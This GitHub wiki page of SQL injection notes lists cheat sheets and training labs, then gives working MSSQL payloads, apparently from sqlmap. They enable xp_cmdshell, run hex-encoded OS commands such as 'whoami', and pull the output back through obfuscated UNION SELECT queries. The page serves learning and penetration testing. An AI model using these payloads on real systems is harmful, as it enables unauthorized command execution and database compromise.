-
Notifications
You must be signed in to change notification settings - Fork 14
SQL Injection
Alvin Smith edited this page Jan 11, 2024
·
10 revisions
;-- -
- always check for SQLi with both
'
and"
- https://www.youtube.com/watch?v=YHHWvXBfwQ8
- Portswigger's Cheatsheet is good. But lack of sqlite
- https://portswigger.net/web-security/sql-injection/cheat-sheet
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
- https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
- https://github.com/payloadbox/sql-injection-payload-list
- https://www.sqlinjection.net/
- http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
- https://github.com/trietptm/SQL-Injection-Payloads
- https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet
- https://resources.infosecinstitute.com/dumping-a-database-using-sql-injection/
- https://portswigger.net/web-security/sql-injection
- https://github.com/Audi-1/sqli-labs
- https://github.com/appsecco/sqlinjection-training-app
- https://tryhackme.com/room/gamezone
- https://tryhackme.com/room/avengers
- https://tryhackme.com/room/uopeasy
- https://tryhackme.com/room/jurassicpark
- https://cheatography.com/dormidera/cheat-sheets/oracle-sql-injection/
- http://www.securityidiots.com/Web-Pentest/SQL-Injection/Union-based-Oracle-Injection.html
- https://gist.github.com/bradtraversy/c831baaad44343cc945e76c2e30927b3
- https://gist.github.com/hofmannsven/9164408
https://gist.github.com/A1vinSmith/2305fb2ad94541eac8f2bff43752ac78
';EXEC master..sp_configure 'SHOW advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'xp_cmdshell',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'SHOW advanced options',0; RECONFIGURE WITH OVERRIDE--
1';CREATE TABLE sqlmapoutput(id INT PRIMARY KEY IDENTITY, data NVARCHAR(4000))--
1';DECLARE @mqvo VARCHAR(8000);SET @mqvo=0x6563686f2031;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @mqvo--
1' UNION ALL SELECT CHAR(113)+CHAR(106)+CHAR(98)+CHAR(118)+CHAR(113)+(SELECT data FROM sqlmapoutput ORDER BY id FOR JSON AUTO, INCLUDE_NULL_VALUES)+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(112)+CHAR(113),NULL-- kIRJ
Char is just for obsfucation.
1';DELETE FROM sqlmapoutput--
1';DECLARE @ezrn VARCHAR(8000);SET @ezrn=0x77686f616d69;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @ezrn--
0x77686f616d69 is hexmical for `whoami`
1' UNION ALL SELECT CHAR(113)+CHAR(106)+CHAR(98)+CHAR(118)+CHAR(113)+(SELECT data FROM sqlmapoutput ORDER BY id FOR JSON AUTO, INCLUDE_NULL_VALUES)+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(112)+CHAR(113),NULL-- euoe